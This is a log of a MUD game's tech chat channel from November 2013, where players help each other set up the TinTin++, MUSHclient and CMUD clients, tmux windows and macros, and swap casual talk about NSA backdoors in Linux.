T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ranrr Tech: There is a README file, and if you need help, talk to ixle, he's patient with newbies :D
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: ok ty
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: i modified it for wintin
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: do i load the setup file from within tintin?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: you can, but its easyer to add it to the command line
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I guess im trying to figure out where to put the setup.tin and all the other files at.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: my guess is in the same folder as the exe?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: left min in a folder
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: and set up an alias in bash something like mud = tintin and the path to the setup file...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: long as you path them in the setup or are relitive to the setup
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: By setup you mean the text document?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: nod, i wrote another one called it by the name of the other mud i play
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: but its mostly the base config
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: dont put too many aliases in that one.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: ok so i had to just be in the dir the file was in to load it into tintin, so im assuming -G is a command to... pipe a file to an exe or something?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: This setup looks quite nice btw
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: So now i gotta figure out how to get the multi-terminal program to work so i got a map lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: well it looks cooler with it anyways.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: who
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: went afk but it sounds like you are getting there with titi
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: tintin
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Now I gotta figure out how to start tintin in tmux
T3/r7/2013-11-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying to use password_hash() in php but when i put in ["cost" => #] its giving me a syntax error and nothing shows on the page, anyone have ideas?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: whats the full error?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its not actually sending an error, just not showing anything, im doing it on a page without an error handler
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: sweet figured out how to use tmux
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: lol, give up on tintin?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: The readme is very helpful, im just a silly for taking so long
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Really, i figured it out
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: hehe, ok :P
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I loaded the setup file and got the minimap in tmux
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: and edited the setup file so i dont gotta type aardwolf.org 4000
T3/r7/2013-11-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: woooo error reporting is not even working!
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: But yeah, couldnt have done it w/o the reading the readme lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: ty for your help btw
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: hehe, np
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Think im starting to understand the difference between linux and windows and how they use files, very informative.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: fun
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Or tools rather lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Now i gotta find out how to make macros in tintin
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Ah there it is
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: hit the site, its got ok support, but its really easy
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: never got to db support for it though
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: lazied out.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Hmm affects dont wanna work nooo
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: Is there a way to limit the length of lines?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: not sure
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: hmm, anyone know why tintin isnt remembering macros?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: you didnt write them to a file
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: did you write them in the cl?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: yeah i did it in the client
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: i always found it easest to write them in a file and then #read file
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: alright
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: but there is a way to write them out after you build them...
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: So id put #macro key command  in a file and load it?
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: i just added the #read filename in my setup file so it will auto load evertytime
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: good idea 
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Ezriel Tech: I feel like im reverse engineering something lol
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Tormat Tech: it does do a few things backwards, but its really clean and simple.
T3/r7/2013-11-06.txt.gz:{chan ch=tech}Turie Tech: Blockbuster has busted.
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Aizma Tech: Anyone fairly knowledgeable about digital image processing?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: what do you mean by processing
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Aizma Tech: If you don't know what DIP is, I'm probably not talking to you :p
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: Well I have a wide range of skills, I may know what you're talking about in other terms
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: giggles
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Aizma Tech: Doubt it. I'm given an image that has been equalized using pointwise adaptive histogram equalization with block size N*N. I'm told to figure out what N is. What do I do?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: google it =)
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: That's what I would do haha
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Aizma Tech: -_-
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: does anyone know how I would reset my stats on here? It's been so long I've forgotten how to play c.c
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: what do you mean reset your stats?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: the only real way to to delete your character and restart... faster to just superhero and remove at your level
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: Well I just wanna redo the academy, like i've never been to it
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: you woul dhave to delete your character if you already done it, or create an alt and go through the academy
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: Yeah i would rather do that, but I want some better equipment and stuff so I have a fighting chance to go out and kill on my own
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: i suggest making an alt and go through the academy goal and then come back to this one.
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: that sounds like it would be a good option, though I don't wanna clog up the database with another inactive user
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: if you really really hate your current character you can "recreate" it
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: I don't hate em, I just think my gear sucks for my level lol
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: easiest fix is to buy some from an enchanter =)
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Aizma Tech: You're in dragbie range. You can safely be naked.
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: dragbie?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: get a superhero to drag you to level 200
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Sylra Tech: and remort and start again a little buffer,
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can't clog up the database with lowbie chars, they get archived very quickly if unused - still available, but not in the 'normally accessed' database of pfiles
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Swangin Tech: Ahh smarty smarty
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ledunte Tech: Ok i've asked about this on question and newbie, but no answer. I googled and found nothing. Last tine I played aardwolf, there was a command that you typed followed by room name and then it would return all the rooms with that name. Then i would type the comman followed by run and then room name and it would speedwalk to that room. If the room was reachable within a certain amount of moves. I think it was run, not sure about that part though. Pleas, Please, Please help
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ayasinda Tech: type mapper help
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ledunte Tech: is mapper only available on mush clients? Isn't it possible on the android application by example?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ayasinda Tech: only mush
T3/r7/2013-11-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: most modern clients have a mapper built in, not blowtorch as far as i know, though
T3/r7/2013-11-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: definitely not only mush
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ledunte Tech: Though the results are dissapointing, I've found what I've been looking for so thank you very much
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ayasinda Tech: but the mapper he is talking about is on mush
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ledunte Tech: my phone Is the android galaxy pocket and I'm running the aardwolf application directly. ais there a command similiar to the one I mentioned?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: fine, most modern clients have something called a "mapper" that does functionally the exact same thing as the mush plugin called a "mapper"
T3/r7/2013-11-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: better?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ledunte Tech: I don't know how modern mine is. But there is nothing I can see pretaining to or even similar to the mapper command
T3/r7/2013-11-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: as i said, as far as i know there's no mapper in blowtorch, sorry
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Ulgaanne Tech: what key board do you guys recommend for playing on an android ? 
T3/r7/2013-11-07.txt.gz:{chan ch=tech}The Boston RedSox Tech: 99 bucks for an xbox 360 120 gb hd decent deal?
T3/r7/2013-11-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not really - we were selling those for about AU$50 about 2 years ago
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: learning to manipulate tintin is tough since i'm spoiled on flashy premade gui's
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Hmm wonder how i get #map map to working in another terminal
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: tail the map file?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Hmm, so #CONFIG {command echo} makes whatever i type show in the output?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: heh, local echo, it shows you what you enter, sure.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: tintin follows basic linux, its all there, you just have to figure it out
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: so #nop just swtiches off the stuff its in front of?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tech: #NOP is short for NOOP..NO OPeration, i.e. do nothing
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tech: you can use it as a comment prefix to describe to yourself what is in your scriptfile
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Hmm, so i got the automapped working, Is there a way to output it into a terminal screen?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: caont you just tail it?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: and resize the window to be the size of the map?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: hmm, i'm not sure which file to tail
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: your map file...
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: sry its a lil confusing since theres 3 files with map in it
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: ah
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: not really sure on that be be fair...
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I think i found the file but its doing what affects was doing, bah
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: says this file will store tintin map once connected
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: if you look at the mapper set the file should be defined in there.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: But its running the automap in tinin, i can see it use #map map
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: maybe the file got changed, its its compeeting
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: tail it, run in a circle and see what happends :P
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I didnt see anything in the readme about getting the automapper to work, just the minimap so its hard to tell what im doing wrong
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: nod
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: i didnt get it to work, to be fair
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I just ran all around recall lol
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I can make a setup file and set up varibles now for stats, but i dont think i can figure out how to make something like that alone. looks... beefy
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: does one file handle the automap output, or is it more complicated than that?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: not sure.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I just assuing this gmcp file handles it since it runs map commands for tintin, just mostly squiggly lines and numbers to me though lol
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: lol is ixles name adam?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: someone left their username in the tmuxit file lol
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: hehe
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: or faked it
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: finger them
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: tail -fs .1 /home/adam/t/aard
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: ah
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: yep
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I havent even figured out how to use tmux yet lol, im assuming id have to change those paths to where i keep said file at though.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: i hate hard paths.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: well its still not loading what it wasnt before, but i got tmux running all the windows instead of multiple terminals.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: much cleaner
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I had to delete all the pathnames, then i just changed to the dir with all the files can copied and pasted the commands into terminal
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Maybe I can make an alias in alias.bash for it
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: do you play on a laptop?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: I got no numpad, im used to using it for the dirs
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: the window that stores mobs dont work, and idk if the group window works since im not in a group
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: or shows mobs and chars rather
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Bode Tech: alt :P
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Bode Tech: group up :P
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: how do i group? Im a newbie to this mud.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Bode Tech: group all
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: it works cool
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: At least i know how a window looks when its connected
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: but has no info yet
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: sweet, theres the char+mod window working didnt type tag roomchars on
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: nice
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Ah hah
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: affects works now
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: nice!
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: The problem was tag spellups on needed on
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: hehe tags are a pain :P
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Gotta tell setup to load affcap for me too
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: Hmm, #prompt size (62) longer that row size (57) any idea where i resize whatever needs resizing?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ezriel Tech: ahh, its was the stupid ubuntu taskbar squishing the screen
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: lol
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: i hear of people claiming linux has an NSA backdoor built into it's security. Can anyone testify to this?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: probably only the nsa can for 100%
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Book of Etzli Tech: The NSA won't, though.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: won't what
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Need to get Snowden to "confirm".
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Book of Etzli Tech: NSA won't verify if they do or not.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: what's more relevent right now is, is there a linux build that is entirely clean?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Book of Etzli Tech: "Hi, NSA. Are you backdooring my operating system? No? Okay, thanks!"
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: if teh codez is open source...
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Martini & Tyebald Tech: clean of what?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: just go read the code for yourself
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: that's a pretty ridiculous suggestion
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: let me rephrase that, are there any "clean and verified" grass roots linux projects?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: if the kernal isnt clean where does that leave you?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: where i am now
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know that there's anything that can be verified 100% clean anymore. I could say that this distro is completely clean, but unless I made it myself, there's no proof.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: you could roll your own, i did for some wifi routers
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tigernuts Tech: that's understandable, etzli
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Sonshi Tech: if I enable reconnect on disconnect but don't autoconnect (aardmush), is there some way to stop it from repeatedly reconnecting, timing out, and disconnecting?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Sonshi Tech: err, when I'm away I mean, and don't want to stay online
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: How do I create those little shortcut buttons that you can click on to execute commands?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: on MUSHclient on PC
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: don't think you can
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Oh that sucks, I know I can do it on my phone :(
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: that's not mush
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Infini Tech: Try: game-> configure-> macros
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: I know the client I am on now is Mush but on my Androids client I can
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: it says mushclient on the top
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: I know. You can do as Infini suggests and make macro's on the F-keys
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Infini Tech: Yea, that's pretty much all I know about it..
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Ahah, it doesn't display those little blue buttons though, huh?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: nope
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Got ya
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Thanks a lot :)
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: there may be other clients for pc that can do that but not mush
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Maybe I'll take a look at other clients some time. I'm kin of liking mush though so i'll probably just configure some macros and use them
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: kind*
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Whats with the triggers?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: they are triggers. What needs to be with them?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: What are they for?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: to capture specific screen output and react in a programmed way to it
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Okay, awesome
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Umado Tech: there is/was a pluging writen for mush that made push buttons to use for skills and what not. you would just have to spend time configuring them
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: It's funny, I'm 4 weeks away from and NSA degree and I hardly know anything about muds, lol
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Ayasinda Tech: you nsa? eeek. nsa invaded aard. Watch out what you say peeps
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: NSA inavded aard?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: roflcoptr
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Aizma Tech: roflcopter definitely isn't a thing anymore
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Aizma Tech: It died a not-so-tragic death about 10 years ago
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: how is it not a thing
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: thats just foolish
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Umado Tech: msuhclient's version of buttons - http://gammon.com.au/forum/?id=9280
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Are you guys talking about the Network Security Association? 
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: administration*
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Ah, thats interesting
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: ahem, never heard of em
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: The Network Security Agency is a national security agency. It's basically an anti cyber crime association. They're always coming to my school once a quarter and giving presentations.
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Rideon Tech: Thanks for the link Umado
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: but then, they know i'm a ninja
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Definitely Defines Tech: mis
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: HI!
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: how can I rename a variable each time I want to switch weapons in CMUD?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: you mean give it a different value?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: nods
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: I don't know. XD #var doesn't work?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: for example I am using airdamage and want to change it to bashdamage, so I need to get the bashweapons from bag, remove the other, wear new weapons and put in the bag the airdamage, so I created an alias to do all, but it not rename the weapons
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: okay. post on cmud forums?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}WarPigs Tech: arname=value?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}WarPigs Tech: @varname=value?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: the string to create a new var is #var <id weapon> <varname>?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: I think. I didn't buy cmud. Always found it too slow..
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: well, in zmud it'd be like: #var weapon knife
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: weapon would be the variable name, and knife would be the value..
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: I did it, but doesn't wroks =P
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: works*
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: aww darn :(
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: that's why I suggested the cmud forums, lol
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: the complete string is: get weapon from bag, remove the wielded weapon, put the removed weapon in the bag, rename the variable of wielded weapon to new weapon, wear new weapon
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Kanashii Tech: good luck. I'd try the cmud forums. sorry :(
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Birdbrain Metria Tech: What are you trying to do?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: trying to switch weapons
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: so I was doing an alias that removes, rename and put weapons in bag
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: t linoge sorry for bother you always
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Mohan Tech: miss
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: how do you stop the help from launching when you set up macro on f1?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: on mush
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Gener Tech: mushclient?
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: yeah
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Obonsai Tech: there's an option for it file->global prefs->general->f1-6 are macros
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: thanks
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Tormat Tech: i knew i had seen it, jut couldnt find it
T3/r7/2013-11-08.txt.gz:{chan ch=tech}Obonsai Tech: it's nestled in thar.
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tormat Tech: the telco box is usally on the side of the road a metal box...
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tormat Tech: mischan
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Kuznazh Tech: is there a way to temporarily disable hand held portals in mush?
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Kanashii Tech: huh? hand held portals are in-game though?
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Kuznazh Tech: if i die my portals are on my corpse, if i try to run back mush tries to use the portals in my corpse - can i temporarily disable portals so mush will run back without attempting to use portals?
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Ixle Tech: Without knowing Mush, I know you could use recall and runto
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Rideon Tech: Thank you for contacting the tech channel, have you tried turning it off and on again? :p
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Thooven Tech: anyone seen this error or know how to fix it   ---- x_ht the orc captain---
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude finally got a working initramfs after much effort.
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Serevok Tech: anyone use cmud and willing to give me a hand?
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Thooven Tech: anyone every run into this error x_ht the orc captain
